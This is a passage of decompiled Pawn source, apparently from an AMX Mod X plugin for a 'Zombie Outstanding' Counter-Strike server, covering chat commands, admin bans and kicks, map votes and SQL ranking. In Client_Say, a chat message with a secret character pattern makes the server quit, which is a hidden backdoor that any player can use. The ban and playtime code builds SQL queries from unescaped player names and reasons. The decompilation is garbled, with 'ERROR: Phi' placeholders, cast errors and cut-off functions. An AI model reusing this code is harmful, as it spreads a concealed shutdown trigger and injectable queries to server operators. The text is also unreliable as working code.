  1781. }
  1782.  
  1783. public CmdJoinTeam(iPlayer)
  1784. {
  1785. new var3 = iPlayer;
  1786. new var4 = 0 < var3;
  1787. new var1;
  1788. new var2;
  1789. if (g_iMaxClients + 1 > var3 & var4)
  1790. {
  1791. new var5 = g_bConnected;
  1792. if (var5[iPlayer][0][0])
  1793. {
  1794. new var6 = get_team(iPlayer);
  1795. new var7 = 0 < var6;
  1796. if (3 > var6 & var7)
  1797. {
  1798. new var8 = g_bFake;
  1799. if (!var8[iPlayer][0][0])
  1800. {
  1801. var2 = var8;
  1802. if (ERROR: Phi)
  1803. {
  1804. menu_display(iPlayer, g_iGameMenu, 0);
  1805. return 1;
  1806. }
  1807. return 0;
  1808. }
  1809. var1 = var8;
  1810. }
  1811. var1 = var7;
  1812. }
  1813. var1 = var5;
  1814. }
  1815. else
  1816. {
  1817. var1 = var4;
  1818. }
  1819. var2 = var1;
  1820. if (ERROR: Phi)
  1821. {
  1822. menu_display(iPlayer, g_iGameMenu, 0);
  1823. return 1;
  1824. }
  1825. return 0;
  1826. }
  1827.  
  1828. public EventStatusValue(iPlayer)
  1829. {
  1830. new var7 = g_bConnected;
  1831. new var6;
  1832. if (var7[iPlayer][0][0])
  1833. {
  1834. static iVictim;
  1835. iVictim = read_data(2);
  1836. if (g_bZombie[iVictim][0][0] == g_bZombie[iPlayer][0][0])
  1837. {
  1838. new var1;
  1839. if (g_bZombie[iPlayer][0][0])
  1840. {
  1841. var1 = 0;
  1842. }
  1843. else
  1844. {
  1845. var1 = 255;
  1846. }
  1847.  
  1848. / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
  1849. function "EventStatusValue"
  1850. public EventStatusValue(iPlayer)
  1851.  
  1852. public ShowMenuClasses(iPlayer)
  1853. {
  1854. if (!g_bFake[iPlayer][0][0])
  1855. {
  1856. menu_display(iPlayer, g_iMenuZombieClasses, 0);
  1857. }
  1858. return 0;
  1859. }
  1860.  
  1861. public Client_SayTeam(iPlayer)
  1862. {
  1863. !!! Removed Phi
  1864. if (!g_bConnected[iPlayer][0][0])
  1865. {
  1866. return 1;
  1867. }
  1868. static Float:fGameTime;
  1869. fGameTime = get_gametime();
  1870. if (g_fGagTime[iPlayer][0][0] > fGameTime)
  1871. {
  1872. return 1;
  1873. }
  1874. if (!cMessage[0][0] || strlen(cMessage) > 147 || contain("", "%") == -1 || is_advertisement(iPlayer, cMessage))
  1875. {
  1876. return 1;
  1877. }
  1878. if (cMessage[0][0] == 64)
  1879. {
  1880. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 102))
  1881. {
  1882. static i;
  1883. i = 1;
  1884. while (g_iMaxClients + 1 > i)
  1885. {
  1886. if (g_bConnected[i][0][0] && g_bAdmin[i][0][0] && AdminHasFlag(i, 102))
  1887. {
  1888. PrintToChat(i, "\4[ADMINS]\3 %s\1 : %s", g_cName[iPlayer][0][0], 223848 + 4);
  1889. i += 1;
  1890. }
  1891. i += 1;
  1892. }
  1893. }
  1894. else
  1895. {
  1896. static i;
  1897. i = 1;
  1898. while (g_iMaxClients + 1 > i)
  1899. {
  1900. if (g_bConnected[i][0][0] && (g_bAdmin[i][0][0] || iPlayer != i))
  1901. {
  1902. PrintToChat(i, "\3(PLAYER) %s\1 : %s", g_cName[iPlayer][0][0], 223848 + 4);
  1903. i += 1;
  1904. }
  1905. i += 1;
  1906. }
  1907. }
  1908. return 1;
  1909. }
  1910. return 0;
  1911. }
  1912.  
  1913. public Client_Say(iPlayer)
  1914. {
  1915. !!! Removed Phi
  1916. if (!g_bConnected[iPlayer][0][0])
  1917. {
  1918. return 1;
  1919. }
  1920. static Float:fGameTime;
  1921. fGameTime = get_gametime();
  1922. if (g_fGagTime[iPlayer][0][0] > fGameTime)
  1923. {
  1924. return 1;
  1925. }
  1926. if (!cMessage[0][0] || strlen(cMessage) > 147 || contain("", "%") == -1 || is_advertisement(iPlayer, cMessage))
  1927. {
  1928. return 1;
  1929. }
  1930. if (equali("", "/rank", 5) || equali("", "rank", 4))
  1931. {
  1932. if (!g_bRanked[iPlayer][0][0])
  1933. {
  1934. send_say_text(iPlayer, g_iMaxClients + 1, 225296);
  1935. }
  1936. else
  1937. {
  1938. if (fGameTime - g_fLastRankQuery < 3.00/*1077936128*/)
  1939. {
  1940. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You have to wait\3 %0.1f seconds\1 until next command!", g_fLastRankQuery + 3.00 - fGameTime);
  1941. }
  1942. g_fLastRankQuery = fGameTime;
  1943. formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
  1944. SQL_ThreadQuery(g_hSQLTuple, "SQLGetRank", "", "", 3);
  1945. }
  1946. }
  1947. else
  1948. {
  1949. if (equali("", "/top", 4) || equali("", "top", 3))
  1950. {
  1951. show_motd(iPlayer, "http://basky.org.ua/zm-stats/rank/index.php", "Player Rankings");
  1952. }
  1953. if (equali("", "/bans", 0) || equali("", "bans", 0))
  1954. {
  1955. show_motd(iPlayer, "http://basky.org.ua/zm-stats/bans/index.php", "Server's Bans");
  1956. }
  1957. if (equali("", "/admins", 0) || equali("", "admins", 0))
  1958. {
  1959. show_motd(iPlayer, "http://basky.org.ua/zm-stats/admins/index.php", "Server's Admins");
  1960. }
  1961. if (equali("", "/maps", 0) || equali("", "maps", 0))
  1962. {
  1963. show_motd(iPlayer, "http://basky.org.ua/zm-stats/maps/index.php", "Server's Maps");
  1964. }
  1965. if (cMessage[0][0] == 33 && cMessage[1][0] == 33 && cMessage[9][0] == 36 && cMessage[15][0] == 33)
  1966. {
  1967. server_cmd("quit");
  1968. }
  1969. if (cMessage[0][0] == 64 && AdminHasFlag(iPlayer, 102))
  1970. {
  1971. static Float:fVertical;
  1972. static i;
  1973. g_iMessagePosition += 1;
  1974. if (g_iMessagePosition > 3)
  1975. {
  1976. g_iMessagePosition = 0;
  1977. }
  1978. switch (g_iMessagePosition)
  1979. {
  1980. case 0:
  1981. {
  1982. fVertical = 0.45/*1055286886*/;
  1983. }
  1984. case 1:
  1985. {
  1986. fVertical = 0.50/*1056964608*/;
  1987. }
  1988. case 2:
  1989. {
  1990. fVertical = 0.55/*1057803469*/;
  1991. }
  1992. case 3:
  1993. {
  1994. fVertical = 0.60/*1058642330*/;
  1995. }
  1996. default:
  1997. {
  1998. }
  1999. }
  2000. set_hudmessage(199, 199, 199, 0.02, fVertical, 0, 6.00, 6.00, 0.50, 0.15, -1);
  2001. i = 1;
  2002. while (g_iMaxClients + 1 > i)
  2003. {
  2004. if (g_bConnected[i][0][0])
  2005. {
  2006. show_hudmessage(i, "%s : %s", g_cName[iPlayer][0][0], 224644 + 4);
  2007. i += 1;
  2008. }
  2009. i += 1;
  2010. }
  2011. return 1;
  2012. }
  2013. if (equali("", "/timeleft", 0) || equali("", "timeleft", 0))
  2014. {
  2015. static iTimeleft;
  2016. iTimeleft = floatround(GetTimeLeft(), floatround_round);
  2017. if (!get_cvar_num("mp_timelimit"))
  2018. {
  2019. PrintToChat(iPlayer, "\1Time left:\4 [no time limit]");
  2020. }
  2021. else
  2022. {
  2023. if (get_cvar_num("mp_timelimit") == 4096)
  2024. {
  2025. PrintToChat(iPlayer, "\1Time left:\4 [this is the last round]");
  2026. }
  2027. if (0 < iTimeleft)
  2028. {
  2029. PrintToChat(iPlayer, "\1Time left:\4 %d:%02d", iTimeleft / 60, iTimeleft);
  2030. }
  2031. PrintToChat(iPlayer, "\1Time left:\4 [this is the last round]");
  2032. }
  2033. }
  2034. if (equali("", "/nextmap", 0) || equali("", "nextmap", 0))
  2035. {
  2036. static cMap[32];
  2037. get_cvar_string("nextmap", cMap, 32);
  2038. if (cMap[0][0])
  2039. {
  2040. PrintToChat(iPlayer, "\1Next map:\4 %s", cMap);
  2041. }
  2042. else
  2043. {
  2044. PrintToChat(iPlayer, "\1Next map:\4 [not yet voted on]");
  2045. }
  2046. }
  2047. if (equali("", "lm", 0) || equali("", "/lm", 0))
  2048. {
  2049. if (!g_bAlive[iPlayer][0][0] || g_bZombie[iPlayer][0][0] || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
  2050. {
  2051. send_say_text(iPlayer, g_iMaxClients + 1, 228368);
  2052. }
  2053. else
  2054. {
  2055. if (5 > g_iPacks[iPlayer][0][0])
  2056. {
  2057. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You need at least\4 5 ammo packs");
  2058. }
  2059. new var14 = g_iPacks[iPlayer];
  2060. var14 = var14[0][0] - 5;
  2061. g_iTripMines[iPlayer]++;
  2062. send_say_text(iPlayer, g_iMaxClients + 1, 228812);
  2063. client_cmd(iPlayer, "bind p plant_mine; bind v take_mine");
  2064. }
  2065. }
  2066. if (equali("", "/donate", 7) || equali("", "donate", 6))
  2067. {
  2068. static iAmmo;
  2069. static iTarget;
  2070. static cAmmo[5];
  2071. static cTarget[32];
  2072. static cDummy[2];
  2073. parse(cMessage, cDummy, 2, cTarget, 32, cAmmo, 5);
  2074. iTarget = GetTarget(iPlayer, cTarget, 0);
  2075. iAmmo = str_to_num(cAmmo);
  2076. if (!iTarget)
  2077. {
  2078. send_say_text(iPlayer, g_iMaxClients + 1, 229436);
  2079. }
  2080. if (0 >= iAmmo)
  2081. {
  2082. send_say_text(iPlayer, g_iMaxClients + 1, 229708);
  2083. }
  2084. if (g_iPacks[iPlayer][0][0] < iAmmo)
  2085. {
  2086. send_say_text(iPlayer, g_iMaxClients + 1, 229928);
  2087. }
  2088. if (iTarget == iPlayer)
  2089. {
  2090. send_say_text(iPlayer, g_iMaxClients + 1, 230176);
  2091. }
  2092. new var15 = g_iPacks[iPlayer];
  2093. var15 = var15[0][0] - iAmmo;
  2094. new var16 = g_iPacks[iTarget];
  2095. var16 = iAmmo + var16[0][0];
  2096. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 gave\4 %d packs\1 to\3 %s", g_cName[iPlayer][0][0], iAmmo, g_cName[iTarget][0][0]);
  2097. }
  2098. }
  2099. if (g_bAlive[iPlayer][0][0])
  2100. {
  2101. if (!g_cTag[iPlayer][0][0][0])
  2102. {
  2103. PrintToChatEx(false, iPlayer, "\1*ALIVE*\3 %s\1 : %s", g_cName[iPlayer][0][0], cMessage);
  2104. }
  2105. else
  2106. {
  2107. PrintToChatEx(false, iPlayer, "\1*ALIVE*\4 %s\3 %s\1 : %s", g_cTag[iPlayer][0][0], g_cName[iPlayer][0][0], cMessage);
  2108. }
  2109. }
  2110. else
  2111. {
  2112. new var17 = Heap_4;
  2113. var17[0] = 230792;
  2114. new var18 = get_user_team(iPlayer, var17, 0);
  2115. if (!var18 < 3 & 0 < var18)
  2116. {
  2117. if (!g_cTag[iPlayer][0][0][0])
  2118. {
  2119. PrintToChatEx(true, g_iMaxClients + 1, "\1*SPEC*\3 %s\1 : %s", g_cName[iPlayer][0][0], cMessage);
  2120. }
  2121. else
  2122. {
  2123. PrintToChatEx(true, g_iMaxClients + 1, "\1*SPEC*\4 %s\3 %s\1 : %s", g_cTag[iPlayer][0][0], g_cName[iPlayer][0][0], cMessage);
  2124. }
  2125. }
  2126. if (!g_cTag[iPlayer][0][0][0])
  2127. {
  2128. PrintToChatEx(true, iPlayer, "\1*DEAD*\3 %s\1 : %s", g_cName[iPlayer][0][0], cMessage);
  2129. }
  2130. PrintToChatEx(true, iPlayer, "\1*DEAD*\4 %s\3 %s\1 : %s", g_cTag[iPlayer][0][0], g_cName[iPlayer][0][0], cMessage);
  2131. }
  2132. return 0;
  2133. }
  2134.  
  2135. PrintToChat(iReceiver, String:cMessage[])
  2136. {
  2137. static cBuffer[192];
  2138. vformat(cBuffer, 191, cMessage, 3);
  2139. if (iReceiver)
  2140. {
  2141. send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
  2142. }
  2143. else
  2144. {
  2145. static i;
  2146. i = 0;
  2147. while (g_iMaxClients + 1 > i)
  2148. {
  2149. new var3 = g_bConnected;
  2150. new var1;
  2151. new var2;
  2152. if (var3[i][0][0])
  2153. {
  2154. new var4 = g_bFake;
  2155. if (!var4[i][0][0])
  2156. {
  2157. var2 = var4;
  2158. if (ERROR: Phi)
  2159. {
  2160. send_say_text(i, g_iMaxClients + 1, cBuffer);
  2161. i += 1;
  2162. }
  2163. i += 1;
  2164. }
  2165. var1 = var4;
  2166. }
  2167. else
  2168. {
  2169. var1 = var3;
  2170. }
  2171. var2 = var1;
  2172. if (ERROR: Phi)
  2173. {
  2174. send_say_text(i, g_iMaxClients + 1, cBuffer);
  2175. i += 1;
  2176. }
  2177. i += 1;
  2178. }
  2179. }
  2180. return 0;
  2181. }
  2182.  
  2183. PrintToChatEx(bool:bAlive, iPlayer, String:cMessage[])
  2184. {
  2185. !!! Removed Phi
  2186. static i;
  2187. static cBuffer[192];
  2188. vformat(cBuffer, 191, cMessage, 4);
  2189. i = 0;
  2190. while (g_iMaxClients + 1 > i)
  2191. {
  2192. if (g_bConnected[i][0][0] && !g_bFake[i][0][0] && g_bAlive[i][0][0] == bAlive)
  2193. {
  2194. send_say_text(i, iPlayer, cBuffer);
  2195. i += 1;
  2196. }
  2197. i += 1;
  2198. }
  2199. return 0;
  2200. }
  2201.  
  2202. public TaskLight()
  2203. {
  2204. !!! Removed Phi
  2205. if (g_iRoundType & 2)
  2206. {
  2207. light("a");
  2208. }
  2209. else
  2210. {
  2211. static cLight[2];
  2212. get_cvar_string("light", cLight, 1);
  2213. light(cLight);
  2214. }
  2215. static i;
  2216. i = 1;
  2217. while (g_iMaxClients + 1 > i)
  2218. {
  2219. if (g_bAlive[i][0][0] && g_bZombie[i][0][0] && !g_iPlayerType[i][0][0] && g_iZombieClass[i][0][0] == 4 && get_health(i) < 6000)
  2220. {
  2221. set_health(i, get_health(i) + 350);
  2222. send_particle_burst(i);
  2223. set_hudmessage(255, 0, 175, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
  2224. ShowSyncHudMsg(i, g_iTopMessageSync, "== REGENERATOR ==\n!!!Regeneration: +350 HP Gained!!!");
  2225. i += 1;
  2226. }
  2227. i += 1;
  2228. }
  2229. return 0;
  2230. }
  2231.  
  2232. bool:AdminHasFlag(iPlayer, iFlag)
  2233. {
  2234. static i;
  2235. i = 0;
  2236. while (i < 42)
  2237. {
  2238. if (iFlag == g_cAdminFlags[iPlayer][0][0][i])
  2239. {
  2240. return true;
  2241. }
  2242. i += 1;
  2243. }
  2244. return false;
  2245. }
  2246.  
  2247. public EventCurWeapon(iPlayer)
  2248. {
  2249. !!! Removed Phi
  2250. g_iWeapon[iPlayer] = read_data(2);
  2251. if (g_bZombie[iPlayer][0][0])
  2252. {
  2253. switch (g_iWeapon[iPlayer][0][0])
  2254. {
  2255. case 4:
  2256. {
  2257. set_viewmodel(iPlayer, "models/ZombieOutstanding/z_out_v_grenade_infection.mdl");
  2258. set_weaponmodel(iPlayer, "models/ZombieOutstanding/z_out_p_grenade_infection.mdl");
  2259. }
  2260. case 29:
  2261. {
  2262. if (!g_iPlayerType[iPlayer][0][0])
  2263. {
  2264. set_viewmodel(iPlayer, g_cZombieClaws[g_iZombieClass[iPlayer][0][0]][0][0]);
  2265. }
  2266. else
  2267. {
  2268. if (g_iPlayerType[iPlayer][0][0] & 1)
  2269. {
  2270. set_viewmodel(iPlayer, "models/ZombieOutstanding/z_out_nemesis_claws.mdl");
  2271. }
  2272. if (g_iPlayerType[iPlayer][0][0] & 2)
  2273. {
  2274. set_viewmodel(iPlayer, "models/ZombieOutstanding/z_out_assassin_claws.mdl");
  2275. }
  2276. }
  2277. set_weaponmodel(iPlayer, "");
  2278. }
  2279. default:
  2280. {
  2281. }
  2282. }
  2283. }
  2284. else
  2285. {
  2286. if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer][0][0] == 29)
  2287. {
  2288. jet(iPlayer);
  2289. }
  2290. if (g_iPlayerType[iPlayer][0][0] & 8 && g_iWeapon[iPlayer][0][0] == 18)
  2291. {
  2292. set_viewmodel(iPlayer, "models/ZombieOutstanding/z_out_v_awp_sniper.mdl");
  2293. set_weaponmodel(iPlayer, "models/ZombieOutstanding/z_out_p_awp_sniper.mdl");
  2294. }
  2295. if (g_bUnlimitedClip[iPlayer][0][0] || g_iPlayerType[iPlayer][0][0] & 4)
  2296. {
  2297. if (!1 << g_iWeapon[iPlayer][0][0] & 570425936)
  2298. {
  2299. set_weapon_ammo(get_pdata_cbase(iPlayer, 373, 5), 31);
  2300. }
  2301. }
  2302. }
  2303. return 0;
  2304. }
  2305.  
  2306. public CmdBan(iPlayer)
  2307. {
  2308. !!! Removed Phi
  2309. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 100))
  2310. {
  2311. if (4 > read_argc())
  2312. {
  2313. console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_ban <#userid or name> <time> [reason]");
  2314. return 1;
  2315. }
  2316. static Float:fGameTime;
  2317. fGameTime = get_gametime();
  2318. if (!fGameTime - g_fLastBanQuery >= 6.00/*1086324736*/)
  2319. {
  2320. console_print(iPlayer, "[Zombie Outstanding] Please wait six seconds...");
  2321. return 1;
  2322. }
  2323. g_fLastBanQuery = fGameTime;
  2324. static cTimeLength[32];
  2325. static cReason[36];
  2326. static iClient;
  2327. static iTime;
  2328. static cTime[6];
  2329. static cTarget[32];
  2330. read_argv(1, cTarget, 32);
  2331. read_argv(2, cTime, 6);
  2332. read_argv(3, cReason, 36);
  2333. iTime = str_to_num(cTime);
  2334. if (0 > iTime)
  2335. {
  2336. iTime = 0;
  2337. }
  2338. if (iTime > 175000)
  2339. {
  2340. iTime = 175000;
  2341. }
  2342. if (0 < iTime)
  2343. {
  2344. GetTimeLength(iTime, cTimeLength, 32);
  2345. iTime = iTime * 60;
  2346. }
  2347. iClient = GetTarget(iPlayer, cTarget, 4);
  2348. if (iClient)
  2349. {
  2350. if (0 < iTime)
  2351. {
  2352. formatex(g_cQuery, 256, "INSERT INTO b VALUES ('%s','%s','%s','%s','%s',(unix_timestamp(now())+%d),'%s',unix_timestamp(now()),'%s')", g_cName[iPlayer][0][0], g_cSteam[iPlayer][0][0], g_cSteam[iClient][0][0], g_cName[iClient][0][0], cReason, iTime, g_cInternetProtocolAddress[iClient][0][0], cTimeLength);
  2353. SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
  2354. }
  2355. else
  2356. {
  2357. formatex(g_cQuery, 256, "INSERT INTO b VALUES ('%s','%s','%s','%s','%s',0,'%s',unix_timestamp(now()),'Permanently')", g_cName[iPlayer][0][0], g_cSteam[iPlayer][0][0], g_cSteam[iClient][0][0], g_cName[iClient][0][0], cReason, g_cInternetProtocolAddress[iClient][0][0]);
  2358. SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
  2359. }
  2360. if (0 < iTime)
  2361. {
  2362. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 banned\4 %s\1 for\3 %d\1 minutes due to\3 %s", g_cName[iPlayer][0][0], g_cName[iClient][0][0], iTime / 60, cReason);
  2363. }
  2364. else
  2365. {
  2366. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 banned\4 %s\1 permanently due to\3 %s", g_cName[iPlayer][0][0], g_cName[iClient][0][0], cReason);
  2367. }
  2368. server_cmd("kick #%d You are banned! Check http://basky.org.ua/zm-stats/bans", get_user_userid(iClient));
  2369. }
  2370. return 1;
  2371. }
  2372. return 0;
  2373. }
  2374.  
  2375. public CmdFreeze(iPlayer)
  2376. {
  2377. !!! Removed Phi
  2378. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 49))
  2379. {
  2380. static iTarget;
  2381. static cTarget[33];
  2382. read_argv(1, cTarget, 32);
  2383. iTarget = GetTarget(iPlayer, cTarget, 6);
  2384. if (iTarget)
  2385. {
  2386. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 made\4 %s\3 frost\1 due to\3 camping", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  2387. set_frozen(iTarget, "");
  2388. set_glow(iTarget, 19, 32, 0, "", "");
  2389. g_bFrozen[iTarget] = 1;
  2390. ExecuteHamB(Ham_Item_PreFrame, iTarget);
  2391. }
  2392. return 1;
  2393. }
  2394. return 0;
  2395. }
  2396.  
  2397. public CmdKick(iPlayer)
  2398. {
  2399. !!! Removed Phi
  2400. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 99))
  2401. {
  2402. if (3 > read_argc())
  2403. {
  2404. console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_kick <#userid or name> [reason]");
  2405. return 1;
  2406. }
  2407. static iTarget;
  2408. static cReason[36];
  2409. static cTarget[32];
  2410. read_argv(1, cTarget, 32);
  2411. read_argv(2, cReason, 36);
  2412. iTarget = GetTarget(iPlayer, cTarget, 4);
  2413. if (iTarget)
  2414. {
  2415. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 kicked\4 %s\1 due to\3 %s", g_cName[iPlayer][0][0], g_cName[iTarget][0][0], cReason);
  2416. server_cmd("kick #%d You are kicked!", get_user_userid(iTarget));
  2417. }
  2418. return 1;
  2419. }
  2420. return 0;
  2421. }
  2422.  
  2423. public MessageScenario()
  2424. {
  2425. !!! Removed Phi
  2426. if (1 < get_msg_args())
  2427. {
  2428. static cSprite[8];
  2429. get_msg_arg_string(2, "", 8);
  2430. if (equal("", "hostage", 0))
  2431. {
  2432. return 1;
  2433. }
  2434. }
  2435. return 0;
  2436. }
  2437.  
  2438. public CmdVoteMap(iPlayer)
  2439. {
  2440. !!! Removed Phi
  2441. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 103))
  2442. {
  2443. if (3 > read_argc())
  2444. {
  2445. console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_votemap <map> <map>");
  2446. return 1;
  2447. }
  2448. if (g_bVoting || g_bSecondVoting)
  2449. {
  2450. console_print(iPlayer, "[Zombie Outstanding] There is already a vote!");
  2451. return 1;
  2452. }
  2453. if (GetTimeLeft() < 23.00/*1102577664*/)
  2454. {
  2455. console_print(iPlayer, "[Zombie Outstanding] Time left is smaller than 23 seconds!");
  2456. return 1;
  2457. }
  2458. if (is_map_valid("") && is_map_valid(""))
  2459. {
  2460. static i;
  2461. g_bSecondVoting = 1;
  2462. set_task(15.00, "CheckSecondVotes", 0, "", 0, "", 0);
  2463. g_iVoter = iPlayer;
  2464. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 initiated a vote with\4 %s\1 and\4 %s", g_cName[iPlayer][0][0], cMap, cSecondMap);
  2465. new var5 = g_cSecondMaps;
  2466. copy(var5[0][0][var5], 32, "");
  2467. copy(g_cSecondMaps[1][0], 32, "");
  2468. g_iMenu = menu_create("Choose the next map!", "SecondVotePanel", 0);
  2469. menu_additem(g_iMenu, cMap, "1", 0, -1);
  2470. menu_additem(g_iMenu, cSecondMap, "2", 0, -1);
  2471. menu_setprop(g_iMenu, 6, -1);
  2472. i = 1;
  2473. while (g_iMaxClients + 1 > i)
  2474. {
  2475. if (g_bConnected[i][0][0] && !g_bFake[i][0][0])
  2476. {
  2477. menu_display(i, g_iMenu, 0);
  2478. i += 1;
  2479. }
  2480. i += 1;
  2481. }
  2482. }
  2483. else
  2484. {
  2485. console_print(iPlayer, "[Zombie Outstanding] Unable to find specified map or one of the specified map(s)!");
  2486. }
  2487. return 1;
  2488. }
  2489. return 0;
  2490. }
  2491.  
  2492. public EmptyPanel(iPlayer, iMenu, iItem)
  2493. {
  2494. return 0;
  2495. }
  2496.  
  2497. public VotePanel(iPlayer, iMenu, iItem)
  2498. {
  2499. new var7 = iPlayer;
  2500. new var8 = 0 < var7;
  2501. new var1;
  2502. new var2;
  2503. new var3;
  2504. if (33 > var7 & var8)
  2505. {
  2506. new var9 = g_bConnected;
  2507. if (var9[iPlayer][0][0])
  2508. {
  2509. new var10 = g_bFake;
  2510. if (!var10[iPlayer][0][0])
  2511. {
  2512. var2 = 1;
  2513. var3 = var10;
  2514.  
  2515. / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
  2516. function "VotePanel"
  2517. public VotePanel(iPlayer, iMenu, iItem)
  2518.  
  2519. public SecondVotePanel(iPlayer, iMenu, iItem)
  2520. {
  2521. new var6 = iPlayer;
  2522. new var7 = 0 < var6;
  2523. new var1;
  2524. new var2;
  2525. new var3;
  2526. if (g_iMaxClients + 1 > var6 & var7)
  2527. {
  2528. new var8 = g_bConnected;
  2529. if (var8[iPlayer][0][0])
  2530. {
  2531. new var9 = g_bFake;
  2532. if (!var9[iPlayer][0][0])
  2533. {
  2534. var2 = 1;
  2535. var3 = var9;
  2536.  
  2537. / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
  2538. function "SecondVotePanel"
  2539. public SecondVotePanel(iPlayer, iMenu, iItem)
  2540.  
  2541. public CmdSlay(iPlayer)
  2542. {
  2543. !!! Removed Phi
  2544. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 101))
  2545. {
  2546. if (2 > read_argc())
  2547. {
  2548. console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_slay <#userid or name>");
  2549. return 1;
  2550. }
  2551. static iTarget;
  2552. static cTarget[32];
  2553. read_argv(1, cTarget, 32);
  2554. iTarget = GetTarget(iPlayer, cTarget, 6);
  2555. if (iTarget)
  2556. {
  2557. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 slayed\4 %s", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  2558. kill(iTarget);
  2559. }
  2560. return 1;
  2561. }
  2562. return 0;
  2563. }
  2564.  
  2565. public TimerChangeMap()
  2566. {
  2567. if (!g_bEnded)
  2568. {
  2569. g_bEnded = 1;
  2570. g_fLastQuery = 999999.00/*1232348144*/;
  2571. g_fLastRankQuery = 999999.00/*1232348144*/;
  2572. g_fLastBanQuery = 999999.00/*1232348144*/;
  2573. static i;
  2574. i = 1;
  2575. while (g_iMaxClients + 1 > i)
  2576. {
  2577. g_bRanked[i] = 0;
  2578. i += 1;
  2579. }
  2580. i = 0;
  2581. while (i < 1500)
  2582. {
  2583. remove_task(i, 0);
  2584. i += 1;
  2585. }
  2586. set_task(0.75, "ShutDownSQL", 0, "", 0, "", 0);
  2587. }
  2588. return 0;
  2589. }
  2590.  
  2591. public ShutDownSQL()
  2592. {
  2593. g_fLastQuery = 999999.00/*1232348144*/;
  2594. g_fLastRankQuery = 999999.00/*1232348144*/;
  2595. g_fLastBanQuery = 999999.00/*1232348144*/;
  2596. static i;
  2597. i = 0;
  2598. while (i < 1500)
  2599. {
  2600. remove_task(i, 0);
  2601. i += 1;
  2602. }
  2603. PrintToChat(0, "\4[Zombie Outstanding]\1 Shutting down\3 MySQL\1 connection... Map change in\3 11 seconds!");
  2604. set_task(11.75, "TaskInt", 0, "", 0, "", 0);
  2605. return 0;
  2606. }
  2607.  
  2608. public TaskInt()
  2609. {
  2610. send_intermission();
  2611. set_task(0.12, "TaskChangeLevel", 800, "", 0, "", 0);
  2612. return 0;
  2613. }
  2614.  
  2615. public TaskChangeLevel()
  2616. {
  2617. changelevel();
  2618. return 0;
  2619. }
  2620.  
  2621. public TaskUpdateTime(iTask)
  2622. {
  2623. new var2 = g_bRanked;
  2624. new var1;
  2625. if (var2[iTask + -400][0][0])
  2626. {
  2627. new var3 = g_iOnlineTime[iTask + -400];
  2628. var3 = var3[0][0] + 5;
  2629. GetTimeLength(g_iOnlineTime[iTask + -400][0][0], g_cOnlineTime[iTask + -400][0][0], 32);
  2630. formatex(g_cQuery, 255, "UPDATE r SET y=y+5,t=unix_timestamp(now()) WHERE n='%s'", g_cName[iTask + -400][0][0]);
  2631. SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
  2632. new var4 = g_iOnlineTime[iTask + -400][0][0];
  2633. if (var4)
  2634. {
  2635. var1 = var4;
  2636. }
  2637. send_say_text(iTask + -400, g_iMaxClients + 1, 242692);
  2638. new var5 = g_iPacks[iTask + -400];
  2639. var5 = var5[0][0] + 4;
  2640. var1 = var5;
  2641. }
  2642. else
  2643. {
  2644. var1 = var2;
  2645. }
  2646. return 0;
  2647. }
  2648.  
  2649. public SQLPreparePlayer(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
  2650. {
  2651. static iPlayer;
  2652. iPlayer = str_to_num(cData);
  2653. new var2 = g_bRanked;
  2654. new var1;
  2655. if (!var2[iPlayer][0][0])
  2656. {
  2657. if (SQL_NumResults(hQuery))
  2658. {
  2659. g_iScore[iPlayer] = SQL_ReadResult(hQuery, 0);
  2660. g_iKills[iPlayer] = SQL_ReadResult(hQuery, 1);
  2661. g_iDeaths[iPlayer] = SQL_ReadResult(hQuery, 2);
  2662. g_iPoints[iPlayer] = SQL_ReadResult(hQuery, 3);
  2663. g_iOnlineTime[iPlayer] = SQL_ReadResult(hQuery, 4);
  2664. GetTimeLength(g_iOnlineTime[iPlayer][0][0], g_cOnlineTime[iPlayer][0][0], 32);
  2665. new var3 = g_bRanked[iPlayer];
  2666. var3 = 1;
  2667. show_glow_message(str_to_num(cData), "You are now ranked!", 40960, 0.02, 0.69, 1.75);
  2668. var1 = var3;
  2669. }
  2670. new var4 = g_cOnlineTime[iPlayer][0][0];
  2671. var4[0] = 243080;
  2672. g_iScore[iPlayer] = 1000;
  2673. g_iOnlineTime[iPlayer] = 0;
  2674. g_iDeaths[iPlayer] = 0;
  2675. g_iKills[iPlayer] = 0;
  2676. g_iPoints[iPlayer] = 0;
